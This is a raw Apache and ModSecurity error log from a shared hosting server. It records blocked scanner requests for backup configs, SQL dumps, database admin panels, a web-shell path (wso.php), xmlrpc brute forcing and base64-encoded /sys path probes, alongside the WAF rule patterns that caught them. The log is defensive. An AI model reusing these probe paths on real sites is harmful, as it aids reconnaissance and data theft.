https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:41.016063 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9ldmVudDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:41.185476 2026] [security2:error] [pid 648189:tid 648281] [remote 2a06:5904:3002:2200:f5:c42d:47df:65b9:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3znVWSojQL4F7upKB8lAAA_Ds"], referer: https://www.torquayfans.com [Sat Jun 13 18:19:41.185503 2026] [security2:error] [pid 648189:tid 648281] [remote 2a06:5904:3002:2200:f5:c42d:47df:65b9:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3znVWSojQL4F7upKB8lAAA_Ds"], referer: https://www.torquayfans.com [Sat Jun 13 18:19:41.380380 2026] [security2:error] [pid 648189:tid 648477] [client 185.177.72.9:47260] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/config.old"] [unique_id "ai3znVWSojQL4F7upKB8pgAAAPs"] [Sat Jun 13 18:19:41.458329 2026] [security2:error] [pid 648189:tid 648436] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/bcmath/tests/bcpow_error3.phpt"] [unique_id "ai3znVWSojQL4F7upKB8rQAAANc"] [Sat Jun 13 18:19:41.462341 2026] [security2:error] [pid 648189:tid 648292] [remote 17.246.23.231:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 231.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3znVWSojQL4F7upKB8rwAAnkY"] [Sat Jun 13 18:19:41.519589 2026] [security2:error] [pid 648189:tid 648446] [client 185.177.72.9:47260] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/export.sql"] [unique_id "ai3znVWSojQL4F7upKB8sgAAAOA"] [Sat Jun 13 18:19:41.525019 2026] [access_compat:error] [pid 646876:tid 646938] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL2RldmljZS9pZA== [Sat Jun 13 18:19:41.525461 2026] [access_compat:error] [pid 646876:tid 646938] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL2RldmljZS9pZA== [Sat Jun 13 18:19:41.541938 2026] [security2:error] [pid 646876:tid 647112] [client 45.86.200.18:22305] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/admin.php"] [unique_id "ai3zndyTkdrNlD40tSG7BAAAAGg"] [Sat Jun 13 18:19:41.616941 2026] [access_compat:error] [pid 648189:tid 648313] [remote 57.141.14.94:29424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:41.617374 2026] [access_compat:error] [pid 648189:tid 648313] [remote 57.141.14.94:29424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:41.646732 2026] [access_compat:error] [pid 648189:tid 648296] [remote 57.141.14.3:61948] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:41.646998 2026] [access_compat:error] [pid 648189:tid 648296] [remote 57.141.14.3:61948] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:41.655367 2026] [security2:error] [pid 648189:tid 648393] [client 185.177.72.9:47260] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/adminer-4.2.5-mysql-en.php"] [unique_id "ai3znVWSojQL4F7upKB8vAAAAK0"] [Sat Jun 13 18:19:41.861548 2026] [security2:error] [pid 648189:tid 648428] [client 45.86.200.21:55231] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/mah.php"] [unique_id "ai3znVWSojQL4F7upKB8xwAAAM8"] [Sat Jun 13 18:19:41.925813 2026] [security2:error] [pid 648189:tid 648474] [client 185.177.72.9:47276] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpmyadmin.php"] [unique_id "ai3znVWSojQL4F7upKB8ywAAAPg"] [Sat Jun 13 18:19:42.001618 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.55:23219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:42.002120 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.55:23219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:42.066607 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:19:42.067014 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:19:42.159559 2026] [security2:error] [pid 648189:tid 648332] [remote 17.246.19.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3znlWSojQL4F7upKB81QAAt20"] [Sat Jun 13 18:19:42.190489 2026] [security2:error] [pid 648189:tid 648366] [client 185.177.72.9:47284] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpmyadmin/index.php"] [unique_id "ai3znlWSojQL4F7upKB82AAAAJI"] [Sat Jun 13 18:19:42.213398 2026] [security2:error] [pid 648189:tid 648353] [client 45.86.200.50:53233] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/.wp/wso.php"] [unique_id "ai3znlWSojQL4F7upKB82QAAAIU"] [Sat Jun 13 18:19:42.458597 2026] [security2:error] [pid 648189:tid 648446] [client 185.177.72.9:47294] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpmyadmin/setup/index.php"] [unique_id "ai3znlWSojQL4F7upKB88AAAAOA"] [Sat Jun 13 18:19:42.507523 2026] [security2:error] [pid 648189:tid 648231] [remote 210.211.99.176:40352] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.drebok.com"] [uri "/xmlrpc.php"] [unique_id "ai3znlWSojQL4F7upKB89AAA2As"] [Sat Jun 13 18:19:42.507792 2026] [security2:error] [pid 648189:tid 648437] [client 210.211.99.176:40352] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.drebok.com"] [uri "/xmlrpc.php"] [unique_id "ai3znlWSojQL4F7upKB89AAA2As"] [Sat Jun 13 18:19:42.543669 2026] [access_compat:error] [pid 646876:tid 646980] [remote 57.141.14.16:32414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:42.543993 2026] [access_compat:error] [pid 646876:tid 646980] [remote 57.141.14.16:32414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:42.558500 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:19:42.558959 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:19:42.624078 2026] [security2:error] [pid 648189:tid 648469] [client 45.86.200.49:35545] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 49.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/core.php"] [unique_id "ai3znlWSojQL4F7upKB8-wAAAPM"] [Sat Jun 13 18:19:42.627145 2026] [security2:error] [pid 648189:tid 648349] [remote 92.40.219.186:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3znlWSojQL4F7upKB8_QAA2n4"], referer: https://www.torquayfans.com [Sat Jun 13 18:19:42.627178 2026] [security2:error] [pid 648189:tid 648349] [remote 92.40.219.186:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3znlWSojQL4F7upKB8_QAA2n4"], referer: https://www.torquayfans.com [Sat Jun 13 18:19:42.713174 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.15:25907] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:42.713458 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.15:25907] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:42.725857 2026] [security2:error] [pid 648189:tid 648371] [client 185.177.72.9:47298] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/sql.php"] [unique_id "ai3znlWSojQL4F7upKB9AwAAAJc"] [Sat Jun 13 18:19:42.802411 2026] [security2:error] [pid 648189:tid 648248] [remote 17.22.253.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3znlWSojQL4F7upKB9CAAAwxs"] [Sat Jun 13 18:19:42.826289 2026] [security2:error] [pid 648189:tid 648294] [remote 17.241.75.142:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 142.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3znlWSojQL4F7upKB9CgAA5kg"] [Sat Jun 13 18:19:42.912230 2026] [access_compat:error] [pid 646876:tid 646972] [remote 57.141.14.56:49254] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:42.912691 2026] [access_compat:error] [pid 646876:tid 646972] [remote 57.141.14.56:49254] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:42.992418 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.64:27616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:42.992861 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.64:27616] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:42.994710 2026] [security2:error] [pid 646876:tid 647103] [client 185.177.72.9:47310] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/sqladmin.php"] [unique_id "ai3zntyTkdrNlD40tSG7HgAAAF8"] [Sat Jun 13 18:19:43.090742 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:19:43.091158 2026] [access_compat:error] [pid 646876:tid 646882] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:19:43.259009 2026] [security2:error] [pid 646876:tid 647105] [client 185.177.72.9:47324] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/dbadmin.php"] [unique_id "ai3zn9yTkdrNlD40tSG7JQAAAGE"] [Sat Jun 13 18:19:43.447734 2026] [security2:error] [pid 648189:tid 648378] [client 45.86.200.36:20659] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.200.86.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "canappcocdjuarez.com"] [uri "/robots.php"] [unique_id "ai3zn1WSojQL4F7upKB9MQAAAJ4"] [Sat Jun 13 18:19:43.535560 2026] [security2:error] [pid 646876:tid 647045] [client 185.177.72.9:37122] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpminiadmin.php"] [unique_id "ai3zn9yTkdrNlD40tSG7MAAAACU"] [Sat Jun 13 18:19:43.623827 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 